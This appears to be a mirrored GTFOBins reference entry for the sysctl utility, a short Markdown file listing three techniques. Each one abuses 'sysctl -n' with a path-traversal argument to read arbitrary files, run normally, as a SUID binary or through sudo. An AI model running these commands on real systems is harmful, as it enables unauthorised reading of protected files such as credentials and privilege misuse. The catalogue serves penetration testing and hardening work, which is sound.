mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2024-11-08 15:59:17 +01:00
17 lines
447 B
Markdown
17 lines
447 B
Markdown
|
---
|
||
|
functions:
|
||
|
file-read:
|
||
|
- description: It reads data from arbitrary files when combined with a path-traversal. The -p argument can also be used in place of -n.
|
||
|
- code: |
|
||
|
LFILE=file_to_read
|
||
|
sysctl -n "/../../../../../$LFILE"
|
||
|
suid:
|
||
|
- code: |
|
||
|
LFILE=file_to_read
|
||
|
./sysctl -n "/../../../../../$LFILE"
|
||
|
sudo:
|
||
|
- code: |
|
||
|
LFILE=file_to_read
|
||
|
sudo sysctl -n "/../../../../../$LFILE"
|
||
|
---
|